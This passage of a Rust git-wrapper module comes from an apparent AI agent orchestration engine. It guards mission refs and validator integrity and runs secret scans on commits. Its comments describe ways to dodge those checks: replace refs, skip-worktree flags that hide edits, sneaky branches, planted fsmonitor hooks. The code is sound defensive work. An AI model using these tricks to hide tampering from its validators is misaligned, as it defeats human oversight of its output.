811 OsString::from("config"),
812 OsString::from("--file"),
813 git_path_arg(&std::path::absolute(common.join("config"))?).into_os_string(),
814 OsString::from("--no-includes"),
815 OsString::from("--bool"),
816 OsString::from("--get"),
817 OsString::from("extensions.worktreeConfig"),
818 ])?;
819 let enabled = if out.status.success() {
820 match std::str::from_utf8(&out.stdout).map(str::trim) {
821 Ok("true") => true,
822 Ok("false") => false,
823 _ => {
824 return Err(EngineError::Git(
825 "invalid worktree configuration scope".into(),
826 ))
827 }
828 }
829 } else if out.status.code() == Some(1) {
830 false
831 } else {
832 return Err(EngineError::Git(
833 "cannot determine worktree configuration scope".into(),
834 ));
835 };
836 Ok((git_dir, common, enabled))
837 }
838
839 /// Mission-significant refs for the tamper fingerprint: the CONTENT of
840 /// `refs/heads/kranz/*` (mission branches — a validator force-moving one
841 /// retargets the deliverable), `refs/tags/*`, AND `refs/replace/*` (a
842 /// replace ref changes how EVERY later git command resolves an object —
843 /// `git show <base>` renders a fake without HEAD, status, heads, or tags
844 /// moving), plus the COUNT of all `refs/heads/*` (a validator-created
845 /// sneaky branch shows as count+1).
846 ///
847 /// `refs/remotes/*` is excluded (ambient mirror state: any operator/CI
848 /// fetch), and other local heads' CONTENT is excluded too — the operator
849 /// committing to `main` mid-round is ambient work, not tamper (mission
850 /// m-83d1ed's second tripwire fire was exactly that: the instrumented
851 /// `refs` field catching the operator's own push to main).
852 pub fn for_each_ref(&self) -> Result<String> {
853 let scoped = self.run(&[
854 "for-each-ref",
855 "--format=%(refname) %(objectname)",
856 "refs/heads/kranz",
857 "refs/tags",
858 "refs/replace",
859 ])?;
860 let all_heads = self.run(&["for-each-ref", "--format=%(refname)", "refs/heads"])?;
861 let count = all_heads.lines().filter(|l| !l.trim().is_empty()).count();
862 Ok(format!("{scoped}heads-count: {count}\n"))
863 }
864
865 /// Name of the currently checked-out branch (`"HEAD"` when detached).
866 pub fn current_branch(&self) -> Result<String> {
867 Ok(self
868 .run(&["rev-parse", "--abbrev-ref", "HEAD"])?
869 .trim()
870 .to_string())
871 }
872
873 /// Sha of an arbitrary ref (`git rev-parse <refname>`).
874 ///
875 /// Rejects a flag-shaped `refname` (leading `-`) with an
876 /// [`EngineError::Git`] before invoking git, mirroring the guard on
877 /// [`GitRepo::add_worktree`]/[`GitRepo::merge_no_ff`]/
878 /// [`GitRepo::push_mission_branch`].
879 pub fn rev_parse(&self, refname: &str) -> Result<String> {
880 if refname.starts_with('-') {
881 return Err(EngineError::Git(format!(
882 "refusing rev-parse of flag-shaped ref {refname:?}"
883 )));
884 }
885 Ok(self.run(&["rev-parse", refname])?.trim().to_string())
886 }
887
888 /// Whether `ancestor` is an ancestor of (or equal to) `descendant`
889 /// (`git merge-base --is-ancestor <ancestor> <descendant>`).
890 ///
891 /// git's contract: exit 0 => `Ok(true)`; exit 1 => `Ok(false)`; any other
892 /// exit code is a real git failure, surfaced as [`EngineError::Git`].
893 /// Rejects a flag-shaped `ancestor`/`descendant` (leading `-`) before
894 /// invoking git, mirroring [`GitRepo::rev_parse`]/[`GitRepo::merge_no_ff`].
895 pub fn is_ancestor(&self, ancestor: &str, descendant: &str) -> Result<bool> {
896 for slot in [ancestor, descendant] {
897 if slot.starts_with('-') {
898 return Err(EngineError::Git(format!(
899 "refusing is_ancestor with flag-shaped ref {slot:?}"
900 )));
901 }
902 }
903 let out = self.probe(&["merge-base", "--is-ancestor", ancestor, descendant])?;
904 match out.status.code() {
905 Some(0) => Ok(true),
906 Some(1) => Ok(false),
907 _ => Err(EngineError::Git(format!(
908 "git merge-base --is-ancestor {ancestor} {descendant} failed ({}): {}",
909 out.status,
910 failure_detail(&out)
911 ))),
912 }
913 }
914
915 /// Whether a local branch of this name exists.
916 pub fn branch_exists(&self, name: &str) -> Result<bool> {
917 let git_ref = format!("refs/heads/{name}");
918 let out = self.probe(&["rev-parse", "--verify", "--quiet", &git_ref])?;
919 Ok(out.status.success())
920 }
921
922 /// Create branch `name` at `from` (a sha or ref), or at `HEAD` when
923 /// `from` is `None`. Does not check the branch out.
924 pub fn create_branch(&self, name: &str, from: Option<&str>) -> Result<()> {
925 let mut args = vec!["branch", name];
926 if let Some(start) = from {
927 args.push(start);
928 }
929 self.run(&args)?;
930 Ok(())
931 }
932
933 /// Check out an existing branch (or any committish).
934 pub fn checkout(&self, name: &str) -> Result<()> {
935 self.run(&["checkout", name])?;
936 Ok(())
937 }
938
939 /// True when the working tree has no changes at all. `--porcelain`
940 /// output includes untracked files, so those count as dirty too.
941 pub fn is_clean(&self) -> Result<bool> {
942 Ok(self.run(&["status", "--porcelain"])?.trim().is_empty())
943 }
944
945 /// Full `git status --porcelain` (v1) output: index + worktree status of
946 /// tracked files plus untracked non-ignored paths, respecting .gitignore
947 /// (so build-artifact churn like `target/` and the gitignored `.kranz`
948 /// runtime never appears). The validator immutability fingerprint
949 /// ([`crate::validator_integrity`]) compares this verbatim across a
950 /// session; v1's C-quoting keeps even exotic paths to one line per entry.
951 pub fn porcelain_status(&self) -> Result<String> {
952 // --untracked-files=all: the default collapses untracked DIRECTORIES
953 // (`?? dir/`), so files added inside an already-untracked dir would
954 // be invisible to the validator-integrity fingerprint (review 2 pass).
955 self.run(&["status", "--porcelain", "--untracked-files=all"])
956 }
957
958 /// `git ls-files -v`: every index entry with its flag column (`S` =
959 /// skip-worktree, lowercase = assume-unchanged). A `skip-worktree` flag
960 /// hides worktree modifications from `git status` entirely (4th-pass
961 /// review: set the flag, overwrite the file, HEAD and porcelain both
962 /// unchanged), so the immutability fingerprint covers the flags too.
963 pub fn ls_files_v(&self) -> Result<String> {
964 self.run(&["ls-files", "-v"])
965 }
966
967 /// Like [`Self::is_clean`] but ignoring untracked files: `true` when no
968 /// TRACKED file is modified, staged, or deleted. Untracked files never
969 /// block a branch switch (git carries them across), so restore-checkout
970 /// paths use this rather than full cleanliness.
971 pub fn is_clean_tracked(&self) -> Result<bool> {
972 Ok(self
973 .run(&["status", "--porcelain", "--untracked-files=no"])?
974 .trim()
975 .is_empty())
976 }
977
978 /// Like [`Self::is_clean_tracked`], but also rejects index flags that can
979 /// hide working-tree changes (`assume-unchanged`, `skip-worktree`, or
980 /// fsmonitor-valid).
981 ///
982 /// Scratch merge worktrees are never sparse and never need either flag,
983 /// so every tracked entry must have git's normal `H` tag.
984 pub fn is_clean_tracked_strict(&self) -> Result<bool> {
985 if !self.is_clean_tracked()? {
986 return Ok(false);
987 }
988 Ok(self
989 .run_seeing_fsmonitor(&["ls-files", "-v", "-f"])?
990 .lines()
991 .all(|line| line.starts_with("H ")))
992 }
993
994 /// Whether one tracked path has Git's normal index tag. Lowercase tags
995 /// (`assume-unchanged` or fsmonitor-valid) and `S` (`skip-worktree`) can
996 /// hide worktree bytes from ordinary diff/status commands and must not
997 /// guard a trust decision.
998 pub fn has_normal_index_entry(&self, path: &str) -> Result<bool> {
999 let output = self.run_seeing_fsmonitor(&["ls-files", "-v", "-f", "--", path])?;
1000 let mut lines = output.lines();
1001 Ok(lines.next() == Some(format!("H {path}").as_str()) && lines.next().is_none())
1002 }
1003
1004 /// `git ls-files` for the two index-flag DETECTIONS above, run with the
1005 /// repository's own `core.fsmonitor` setting left visible.
1006 ///
1007 /// The hardened handle neutralizes `core.fsmonitor=` because `git status`
1008 /// would otherwise execute a planted hook. But git only reports the
1009 /// fsmonitor-valid tag (`h`) when fsmonitor is CONFIGURED: with the key
1010 /// blanked, `ls-files -f` prints the ordinary `H` and the detection reads
1011 /// a flag-hidden file as clean — which is precisely the trust decision
1012 /// these two callers exist to refuse. `ls-files` reads the index without
1013 /// refreshing it and never invokes the hook (probed 2026-09-02: a
1014 /// `core.fsmonitor` script pointed at a sentinel is not run by
1015 /// `ls-files -f`), so keeping this one key visible costs nothing. Every
1016 /// other neutralization, and the nulled user/system config, stay in
1017 /// place.
1018 fn run_seeing_fsmonitor(&self, args: &[&str]) -> Result<String> {
1019 let os: Vec<OsString> = args.iter().map(OsString::from).collect();
1020 let out = self.spawn_git(&os, UserConfig::Ignored, ExecFlags::SeeingFsmonitor)?;
1021 check_status(&os, out)
1022 }
1023
1024 /// `git add -A` then `git commit -m <message>`; returns the new head sha.
1025 ///
1026 /// A no-change commit attempt exits non-zero, so it surfaces as an
1027 /// [`EngineError::Git`] carrying git's own "nothing to commit" output.
1028 pub fn add_all_and_commit(&self, message: &str) -> Result<String> {
1029 self.run(&["add", "-A"])?;
1030 self.run(&["commit", "-m", message])?;
1031 self.head_sha()
1032 }
1033
1034 /// Paths currently dirty in the working tree (`git status --porcelain`),
1035 /// relative to the repo root. Empty when clean.
1036 pub fn dirty_paths(&self) -> Result<Vec<PathBuf>> {
1037 let out = self.run(&["status", "--porcelain", "-z"])?;
1038 let mut paths = Vec::new();
1039 // Porcelain -z records: XY<space>path\0, or for rename/copy
1040 // XY<space>newpath\0oldpath\0. Walk byte-wise so a bare oldpath
1041 // record is not mistaken for a status line.
1042 let bytes = out.as_bytes();
1043 let mut i = 0;
1044 while i < bytes.len() {
1045 if bytes[i] == 0 {
1046 i += 1;
1047 continue;
1048 }
1049 let start = i;
1050 while i < bytes.len() && bytes[i] != 0 {
1051 i += 1;
1052 }
1053 let entry = std::str::from_utf8(&bytes[start..i]).unwrap_or("");
1054 i += 1; // skip NUL
1055 if entry.len() < 4 {
1056 continue;
1057 }
1058 let status = &entry[..2];
1059 let path = if entry.as_bytes().get(2) == Some(&b' ') {
1060 &entry[3..]
1061 } else {
1062 entry.trim()
1063 };
1064 if path.is_empty() {
1065 continue;
1066 }
1067 paths.push(PathBuf::from(path));
1068 // Rename/copy: the record continues as `\0oldpath\0`. The source
1069 // path is part of the same change — a staged `git mv a b` must
1070 // report BOTH `b` and `a`, or a checkpoint commit scoped to the
1071 // dirty set commits only `b` and leaves the staged `D a` behind —
1072 // so it joins the dirty set rather than being skipped.
1073 if status.contains('R') || status.contains('C') {
1074 let old_start = i;
1075 while i < bytes.len() && bytes[i] != 0 {
1076 i += 1;
1077 }
1078 let old = std::str::from_utf8(&bytes[old_start..i]).unwrap_or("");
1079 if i < bytes.len() {
1080 i += 1; // skip NUL after oldpath
1081 }
1082 if !old.is_empty() {
1083 paths.push(PathBuf::from(old));
1084 }
1085 }
1086 }
1087 Ok(paths)
1088 }
1089
1090 /// Stage and commit only currently-dirty paths (scoped checkpoint).
1091 /// Prefer this over [`Self::add_all_and_commit`] for engine checkpoints so
1092 /// a concurrent operator edit outside the worker's tree is not scooped in
1093 /// via `git add -A`. No-op (returns current HEAD) when the tree is clean.
1094 ///
1095 /// A secret-scan refusal is reported as
1096 /// [`CheckpointOutcome::RefusedBySecretScan`], never as an `Err` —
1097 /// checkpoint callers sit on the mission loop and must record the refusal
1098 /// instead of erroring the run (see [`CheckpointOutcome`]). Real git
1099 /// failures still propagate.
1100 pub fn commit_dirty_paths(&self, message: &str) -> Result<CheckpointOutcome> {
1101 let paths = self.dirty_paths()?;
1102 if paths.is_empty() {
1103 return Ok(CheckpointOutcome::Committed(self.head_sha()?));
1104 }
1105 let refs: Vec<&Path> = paths.iter().map(PathBuf::as_path).collect();
1106 if let Some(detail) = self.secret_scan_refusal(&refs) {
1107 return Ok(CheckpointOutcome::RefusedBySecretScan { detail });
1108 }
1109 Ok(CheckpointOutcome::Committed(
1110 self.commit_paths_unscanned(&refs, message)?,
1111 ))
1112 }
1113
1114 /// Stage and commit only the given paths; returns the new head sha.
1115 ///
1116 /// Paths may be absolute or relative to the repo root. Content staged
1117 /// for *other* paths is left staged and untouched (`git commit -- <paths>`
1118 /// commits just the named pathspecs).
1119 ///
1120 /// Idempotent: if staging the named paths yields no change (e.g. a
1121 /// crash-replayed re-commit of byte-identical files), this is a no-op that
1122 /// returns the current head rather than an empty-commit error. An empty
1123 /// `paths` slice is still rejected up front.
1124 pub fn commit_paths(&self, paths: &[&Path], message: &str) -> Result<String> {
1125 if paths.is_empty() {
1126 return Err(EngineError::Git("commit_paths: no paths given".into()));
1127 }
1128 // Durable-record commits (plans, reports) treat a scan refusal as a
1129 // hard error: the engine authored those files itself, so a finding
1130 // there is a bug, not a worker leftover to route around. Checkpoint
1131 // callers go through commit_dirty_paths, which surfaces the same
1132 // refusal as a CheckpointOutcome instead.
1133 if let Some(detail) = self.secret_scan_refusal(paths) {
1134 return Err(EngineError::Git(detail));
1135 }
1136 self.commit_paths_unscanned(paths, message)
1137 }
1138
1139 /// The formatted refusal message when the engine secret scan (minus
1140 /// allowlisted fingerprints) finds anything in `paths`, or `None` when
1141 /// the commit may proceed. The message names the findings via
1142 /// [`scrub::format_findings`] (rule ids + fingerprints, never raw secret
1143 /// bytes) and the allowlist path for a reviewed waiver.
1144 fn secret_scan_refusal(&self, paths: &[&Path]) -> Option<String> {
1145 let allowed = std::fs::read_to_string(self.root.join(scrub::SECRET_ALLOWLIST_PATH))
1146 .ok()
1147 .map(|text| scrub::read_allowlist_text(&text))
1148 .unwrap_or_default();
1149 // Split the dirty paths: TRACKED files scan only the mission's added
1150 // lines (git diff HEAD) — a mission must not be refused for
1151 // pre-existing base content in a file it merely touches (m-0f1abd,
1152 // checkpoint-refused twice by unchanged base code). NEW (untracked)
1153 // files still scan full-file — `git diff HEAD` never sees them and
1154 // their whole content is added lines anyway.
1155 let (mut tracked, mut new_files) = (Vec::new(), Vec::new());
1156 for path in paths {
1157 let in_index = self
1158 .run_os(&[
1159 "ls-files".into(),
1160 "--error-unmatch".into(),
1161 "--".into(),
1162 path.as_os_str().to_os_string(),
1163 ])
1164 .is_ok();
1165 if in_index {
1166 tracked.push(*path);
1167 } else {
1168 new_files.push(*path);
1169 }
1170 }
1171
1172 let mut findings = Vec::new();
1173 if !tracked.is_empty() {
1174 let diff = self.diff_head_paths(&tracked).unwrap_or_default();
1175 findings.extend(scrub::scan_unified_diff(&diff));
1176 }
1177 if !new_files.is_empty() {
1178 findings.extend(scrub::scan_paths(&self.root, &new_files));
1179 }
1180 let findings = scrub::filter_allowed(findings, &allowed);
1181 if findings.is_empty() {
1182 None
1183 } else {
1184 Some(format!(
1185 "secret scan blocked engine commit; add a fingerprint to {} only for a reviewed false positive:\n{}",
1186 scrub::SECRET_ALLOWLIST_PATH,
1187 scrub::format_findings(&findings)
1188 ))
1189 }
1190 }
1191
1192 /// [`Self::commit_paths`] minus the secret scan. Private on purpose:
1193 /// every public commit path must either run the scan (commit_paths) or
1194 /// surface its refusal as a [`CheckpointOutcome`] (commit_dirty_paths).
1195 fn commit_paths_unscanned(&self, paths: &[&Path], message: &str) -> Result<String> {
1196 let path_args = paths.iter().map(|p| p.as_os_str().to_os_string());
1197
1198 // `git add` fatals ("pathspec ... did not match any files") on a path
1199 // that is gone from BOTH the working tree and the index — exactly a
1200 // rename/copy source whose deletion `git mv` already staged. Such a
1201 // path needs no staging (the commit pathspec below still carries the
1202 // staged deletion into the commit), so it is left out of the add. A
1203 // path merely deleted from the working tree but still in the index
1204 // stays in: `git add` stages that removal.
1205 let add_paths = self.addable_paths(paths)?;
1206 if !add_paths.is_empty() {
1207 let mut add: Vec<OsString> = vec!["add".into(), "--".into()];
1208 add.extend(add_paths.iter().map(|p| p.as_os_str().to_os_string()));
1209 self.run_os(&add)?;
1210 }
1211
1212 // Idempotent: if staging these pathspecs produced nothing (e.g. a
1213 // crash-replayed re-approval that rewrites byte-identical files), skip
1214 // the commit and return the unchanged head. `git commit` errors on an
1215 // empty commit, which would otherwise wedge the caller on replay.
1216 let mut staged: Vec<OsString> = vec![
1217 "diff".into(),
1218 "--cached".into(),
1219 "--name-only".into(),
1220 "--".into(),
1221 ];
1222 staged.extend(path_args.clone());
1223 if self.run_os(&staged)?.trim().is_empty() {
1224 return self.head_sha();
1225 }
1226
1227 let mut commit: Vec<OsString> =
1228 vec!["commit".into(), "-m".into(), message.into(), "--".into()];
1229 commit.extend(path_args);
1230 self.run_os(&commit)?;
1231
1232 self.head_sha()
1233 }
1234
1235 /// The subset of `paths` that `git add` can act on: present in the
1236 /// working tree (`symlink_metadata`, so a dangling symlink still counts)
1237 /// or still known to the index (a working-tree deletion whose removal
1238 /// `git add` stages). A path in NEITHER — e.g. the source of an
1239 /// already-staged rename — would make `git add` fail with "pathspec did
1240 /// not match any files", and has nothing left to stage anyway.
1241 fn addable_paths<'a>(&self, paths: &[&'a Path]) -> Result<Vec<&'a Path>> {
1242 let missing: Vec<&Path> = paths
1243 .iter()
1244 .copied()
1245 .filter(|p| {
1246 let full = if p.is_absolute() {
1247 p.to_path_buf()
1248 } else {
1249 self.root.join(p)
1250 };
1251 std::fs::symlink_metadata(full).is_err()
1252 })
1253 .collect();
1254 if missing.is_empty() {
1255 return Ok(paths.to_vec());
1256 }
1257 // One batched index probe for the disk-missing subset. `git ls-files`
1258 // exits 0 with empty output for pathspecs that match nothing, and
1259 // prints matches relative to the repo root.
1260 let mut ls: Vec<OsString> = vec!["ls-files".into(), "-z".into(), "--".into()];
1261 ls.extend(missing.iter().map(|p| p.as_os_str().to_os_string()));
1262 let in_index: std::collections::HashSet<PathBuf> = self
1263 .run_os(&ls)?
1264 .split('\0')
1265 .filter(|s| !s.is_empty())
1266 .map(PathBuf::from)
1267 .collect();
1268 Ok(paths
1269 .iter()
1270 .copied()
1271 .filter(|p| {
1272 let rel = p.strip_prefix(&self.root).unwrap_or(p);
1273 std::fs::symlink_metadata(self.root.join(rel)).is_ok() || in_index.contains(rel)
1274 })
1275 .collect())
1276 }
1277
1278 /// Commits reachable from `to` but not `from` (`from..to`), oldest first.
1279 pub fn commits_between(&self, from: &str, to: &str) -> Result<Vec<CommitInfo>> {
1280 let range = format!("{from}..{to}");
1281 // %x09 = tab separator; a subject can contain anything but a newline.
1282 let out = self.run(&["log", "--reverse", "--format=%H%x09%s", &range])?;
1283 let mut commits = Vec::new();
1284 for line in out.lines() {
1285 // `lines()` strips \n; strip a stray \r for CRLF robustness (§9).
1286 let line = line.trim_end_matches('\r');
1287 if line.is_empty() {
1288 continue;
1289 }
1290 let (sha, subject) = line.split_once('\t').unwrap_or((line, ""));
1291 commits.push(CommitInfo {
1292 sha: sha.to_string(),
1293 subject: subject.to_string(),
1294 });
1295 }
1296 Ok(commits)
1297 }
1298
1299 /// Count merge commits reachable from `to` but not `from`.
1300 pub fn merge_commit_count(&self, from: &str, to: &str) -> Result<usize> {
1301 for slot in [from, to] {
1302 if slot.starts_with('-') {
1303 return Err(EngineError::Git(format!(
1304 "refusing merge_commit_count with flag-shaped ref {slot:?}"
1305 )));
1306 }
1307 }
1308 let range = format!("{from}..{to}");
1309 let out = self.run(&["rev-list", "--merges", "--count", &range])?;
1310 out.trim().parse::<usize>().map_err(|e| {
1311 EngineError::Git(format!(
1312 "git rev-list --merges --count {range} returned non-numeric output {out:?}: {e}"
1313 ))
1314 })
1315 }
1316
1317 /// Count first-parent commits on `branch` whose committer date falls in
1318 /// `(since, until]` (`git rev-list --first-parent --count --since
1319 /// --until`) — the landed-changes denominator of the industry-comparison
1320 /// fold (ticket `outcomes-comparison-metrics`, KRZ-333). First-parent
1321 /// counts one entry per change that landed on the branch's own line of
1322 /// history — a direct commit or a `--no-ff` merge — never the commits a
1323 /// merge brought with it, so a landed mission merge and a hand-written
1324 /// commit each count once. git's `--since` is exclusive and `--until`
1325 /// inclusive; the timestamps go to git verbatim as RFC 3339.
1326 pub fn count_first_parent_commits(
1327 &self,
1328 branch: &str,
1329 since: &chrono::DateTime<chrono::Utc>,
1330 until: &chrono::DateTime<chrono::Utc>,
1331 ) -> Result<u64> {
1332 if branch.starts_with('-') {
1333 return Err(EngineError::Git(format!(
1334 "refusing count_first_parent_commits with flag-shaped ref {branch:?}"
1335 )));
1336 }
1337 let out = self.run(&[
1338 "rev-list",
1339 "--first-parent",
1340 "--count",
1341 &format!("--since={}", since.to_rfc3339()),
1342 &format!("--until={}", until.to_rfc3339()),
1343 branch,
1344 ])?;
1345 out.trim().parse::<u64>().map_err(|e| {
1346 EngineError::Git(format!(
1347 "git rev-list --first-parent --count {branch} returned non-numeric output {out:?}: {e}"
1348 ))
1349 })
1350 }
1351
1352 /// `git diff --stat <from>..<to>` output, verbatim.
1353 pub fn diff_stat(&self, from: &str, to: &str) -> Result<String> {
1354 let range = format!("{from}..{to}");
1355 self.run(&["diff", "--stat", &range])
1356 }
1357
1358 /// Full `git diff <from>..<to>` output, verbatim.
1359 pub fn diff_full(&self, from: &str, to: &str) -> Result<String> {
1360 let range = format!("{from}..{to}");
1361 self.run(&["diff", &range])
1362 }
1363
1364 /// Full `git diff <range>` output for a caller-supplied range.
1365 pub fn diff_range(&self, range: &str) -> Result<String> {
1366 if range.starts_with('-') || range.chars().any(char::is_whitespace) {
1367 return Err(EngineError::Git(format!(
1368 "refusing diff of malformed range {range:?}"
1369 )));
1370 }
1371 self.run(&["diff", range])
1372 }
1373
1374 /// Full staged diff (`git diff --cached`) output.
1375 pub fn diff_staged(&self) -> Result<String> {
1376 self.run(&["diff", "--cached"])
1377 }
1378
1379 /// Full `git diff --binary HEAD` output (index + working tree vs HEAD),
1380 /// verbatim — everything a worker left uncommitted on TRACKED files,
1381 /// binary-safe so it replays byte-for-byte through `git apply`
1382 /// ([`GitRepo::apply_patch`]). The validator snapshot
1383 /// ([`crate::validator_snapshot`]) captures this in the real checkout and
1384 /// applies it in the throwaway copy so validators judge exactly the tree
1385 /// the worker left.
1386 pub fn diff_head(&self) -> Result<String> {
1387 self.run(&["diff", "--binary", "HEAD"])
1388 }
1389
1390 /// `git apply <patch_file>` against the worktree (index untouched). The
1391 /// validator snapshot replays the real checkout's [`GitRepo::diff_head`]
1392 /// this way; the patch comes from a file path so no stdin plumbing is
1393 /// needed.
1394 pub fn apply_patch(&self, patch_file: &Path) -> Result<()> {
1395 let args: Vec<OsString> = vec!["apply".into(), git_path_arg(patch_file).into_os_string()];
1396 self.run_os(&args)?;
1397 Ok(())
1398 }
1399
1400 /// Untracked, non-ignored files (`git ls-files --others
1401 /// --exclude-standard -z`), repo-relative. `-z` gives unquoted raw paths
1402 /// (NUL is the only byte git never allows in one), so even
1403 /// newline-bearing names survive the split. Ignored paths (`target/`,
1404 /// the `.kranz` runtime) never appear — mirroring
1405 /// [`GitRepo::porcelain_status`].
1406 /// Untracked non-ignored files, NUL-separated raw bytes preserved:
1407 /// `ls-files -z` output is byte-oriented, and a name that is not valid
1408 /// UTF-8 must NOT be lossy-mangled — the replacement character turns
1409 /// into a path that then fails to copy and (pre-fix) was silently
1410 /// swallowed as NotFound (5th-pass review). On unix the raw bytes are
1411 /// used verbatim; on Windows (where git emits WTF-8) the lossy form is
1412 /// the pragmatic fallback, documented.
1413 pub fn untracked_files(&self) -> Result<Vec<std::ffi::OsString>> {
1414 let out = self.probe(&["ls-files", "--others", "--exclude-standard", "-z"])?;
1415 if !out.status.success() {
1416 return Err(EngineError::Git(format!(
1417 "git ls-files --others failed ({})",
1418 failure_detail(&out)
1419 )));
1420 }
1421 Ok(out
1422 .stdout
1423 .split(|b| *b == 0)
1424 .filter(|seg| !seg.is_empty())
1425 .map(|seg| {
1426 #[cfg(unix)]
1427 {
1428 use std::os::unix::ffi::OsStrExt as _;
1429 std::ffi::OsString::from(std::ffi::OsStr::from_bytes(seg))
1430 }
1431 #[cfg(not(unix))]
1432 {
1433 std::ffi::OsString::from(String::from_utf8_lossy(seg).into_owned())
1434 }
1435 })
1436 .collect())
1437 }
1438
1439 /// Stable labels for an independent gate snapshot: index, untracked source
1440 /// and the pinned base's deletions. Preserve UTF-8 exactly; no C quoting or
1441 /// lossy path conversion is permitted at this evidence boundary.
1442 pub(crate) fn gate_snapshot_paths(&self, base: &str) -> Result<Vec<String>> {
1443 let base = self.rev_parse(base)?;
1444 let mut paths = std::collections::BTreeSet::new();
1445 for args in [
1446 vec![
1447 "ls-files",
1448 "--cached",
1449 "--others",
1450 "--exclude-standard",
1451 "-z",
1452 ],
1453 vec!["ls-tree", "-r", "-z", "--name-only", &base],
1454 ] {
1455 let output = self.probe(&args)?;
1456 if !output.status.success() {
1457 return Err(EngineError::Git(failure_detail(&output)));
1458 }
1459 if output.stdout.len() > 8 * 1024 * 1024 {
1460 return Err(EngineError::Git(
1461 "gate snapshot path inventory exceeds limit".into(),
1462 ));
1463 }
1464 for path in output.stdout.split(|b| *b == 0).filter(|p| !p.is_empty()) {
1465 let path = std::str::from_utf8(path).map_err(|_| {
1466 EngineError::Git("gate snapshots do not support non-UTF-8 source paths".into())
1467 })?;
1468 paths.insert(path.to_owned());
1469 if paths.len() > 10_000 {
1470 return Err(EngineError::Git(
1471 "gate snapshot exceeds 10,000 paths".into(),
1472 ));
1473 }
1474 }
1475 }
1476 Ok(paths.into_iter().collect())
1477 }
1478
1479 /// Full `git diff HEAD -- <paths>` output (index + working tree vs HEAD),
1480 /// verbatim — the checkpoint scan's "what this mission actually changed",
1481 /// never the pre-existing base content of files it merely touches.
1482 pub fn diff_head_paths(&self, paths: &[&Path]) -> Result<String> {
1483 let mut args: Vec<OsString> = vec!["diff".into(), "HEAD".into(), "--".into()];
1484 args.extend(paths.iter().map(|p| p.as_os_str().to_os_string()));
1485 self.run_os(&args)
1486 }
1487
1488 /// Full `git diff <from>..<to> -- <paths>` output, verbatim — the
1489 /// affected-path diff a Flight Rules waiver's digest binds (KRZ-344
1490 /// D-I): only changes under the named paths alter the bytes, so an
1491 /// unrelated-path change can never invalidate (or be covered by) the
1492 /// waiver. Refuses flag-shaped refs (the [`GitRepo::changed_paths`]
1493 /// guard) and an EMPTY path set — `git diff <range> --` with no
1494 /// pathspec silently means the WHOLE diff, which would bind authority
1495 /// the caller never scoped.
1496 pub fn diff_range_paths(&self, from: &str, to: &str, paths: &[String]) -> Result<String> {
1497 for slot in [from, to] {
1498 if slot.starts_with('-') {
1499 return Err(EngineError::Git(format!(
1500 "refusing diff_range_paths with flag-shaped ref {slot:?}"
1501 )));
1502 }
1503 }
1504 if paths.is_empty() {
1505 return Err(EngineError::Git(
1506 "refusing diff_range_paths with an empty path set — `--` alone means the \
1507 whole diff, not an empty one"
1508 .to_string(),
1509 ));
1510 }
1511 let range = format!("{from}..{to}");
1512 let mut args: Vec<OsString> = vec!["diff".into(), range.into(), "--".into()];
1513 args.extend(paths.iter().map(OsString::from));
1514 self.run_os(&args)
1515 }
1516
1517 /// Paths changed in `from..to` (`git diff --name-only <from>..<to>`),
1518 /// one per line as git reports them.
1519 ///
1520 /// Rejects a flag-shaped `from`/`to` (leading `-`) before invoking git,
1521 /// mirroring the guard on [`GitRepo::is_ancestor`]/[`GitRepo::rev_parse`].
1522 pub fn changed_paths(&self, from: &str, to: &str) -> Result<Vec<String>> {
1523 for slot in [from, to] {
1524 if slot.starts_with('-') {
1525 return Err(EngineError::Git(format!(
1526 "refusing changed_paths with flag-shaped ref {slot:?}"
1527 )));
1528 }
1529 }
1530 let range = format!("{from}..{to}");
1531 let out = self.run(&["diff", "--name-only", &range])?;
1532 Ok(out
1533 .lines()
1534 .map(|l| l.trim_end_matches('\r').trim())
1535 .filter(|l| !l.is_empty())
1536 .map(str::to_string)
1537 .collect())
1538 }
1539
1540 /// Operator review inventory: pinned base to working-tree bytes, including
1541 /// deletions, both sides of renames and non-ignored untracked paths.
1542 pub(crate) fn review_changed_paths(&self, base: &str) -> Result<Vec<String>> {
1543 let base = self.rev_parse(base)?;
1544 let output = self.probe(&["diff", "--no-renames", "--name-only", "-z", &base, "--"])?;
1545 if !output.status.success() || output.stdout.len() > 8 * 1024 * 1024 {
1546 return Err(EngineError::Git("review path inventory unavailable".into()));
1547 }
1548 let mut paths = std::collections::BTreeSet::new();
1549 for path in output.stdout.split(|b| *b == 0).filter(|p| !p.is_empty()) {
1550 paths.insert(
1551 std::str::from_utf8(path)
1552 .map_err(|_| EngineError::Git("non-UTF-8 review path".into()))?
1553 .to_string(),
1554 );
1555 }
1556 for path in self.untracked_files()? {
1557 paths.insert(
1558 path.into_string()
1559 .map_err(|_| EngineError::Git("non-UTF-8 review path".into()))?,
1560 );
1561 }
1562 Ok(paths.into_iter().collect())
1563 }
1564
1565 /// Whether `from..to` touches anything under `apps/dashboard/` — the
1566 /// signal the gate suite uses to decide whether to run the dashboard
1567 /// gates (roadmap M6 gated merge).
1568 pub fn dashboard_touched(&self, from: &str, to: &str) -> Result<bool> {
1569 Ok(self
1570 .changed_paths(from, to)?
1571 .iter()
1572 .any(|p| p.starts_with("apps/dashboard/")))
1573 }
1574
1575 /// The most recent commit that ADDED `rel_path` (repo-relative,
1576 /// forward-slash), with its subject and full message body — or `None` if
1577 /// the path is untracked / was never added under version control.
1578 ///
1579 /// Used to check lesson-file provenance: a lesson only reaches a planning
1580 /// prompt if a `[kranz] mission report` commit carrying a matching
1581 /// `Kranz-Mission` trailer introduced it, so an untracked drop or a
1582 /// worker feature-commit fails the check (see the lesson-manifest render).
1583 pub fn commit_that_added(&self, rel_path: &str) -> Result<Option<AddedCommit>> {
1584 if rel_path.starts_with('-') {
1585 return Err(EngineError::Git(format!(
1586 "refusing commit_that_added with flag-shaped path {rel_path:?}"
1587 )));
1588 }
1589 // Unit-separator (\x1f) between fields; -n 1 → the newest add commit
1590 // (lessons are append-only and never rewritten, so there is one).
1591 let out = self.run(&[
1592 "log",
1593 "--diff-filter=A",
1594 "-n",
1595 "1",
1596 "--format=%H%x1f%s%x1f%b",
1597 "--",
1598 rel_path,
1599 ])?;
1600 let out = out.trim_end_matches('\n');
1601 if out.is_empty() {
1602 return Ok(None);
1603 }
1604 let mut parts = out.splitn(3, '\u{1f}');
1605 let sha = parts.next().unwrap_or_default().trim().to_string();
1606 if sha.is_empty() {
1607 return Ok(None);
1608 }
1609 let subject = parts.next().unwrap_or_default().to_string();
1610 let body = parts.next().unwrap_or_default().to_string();
1611 Ok(Some(AddedCommit { sha, subject, body }))
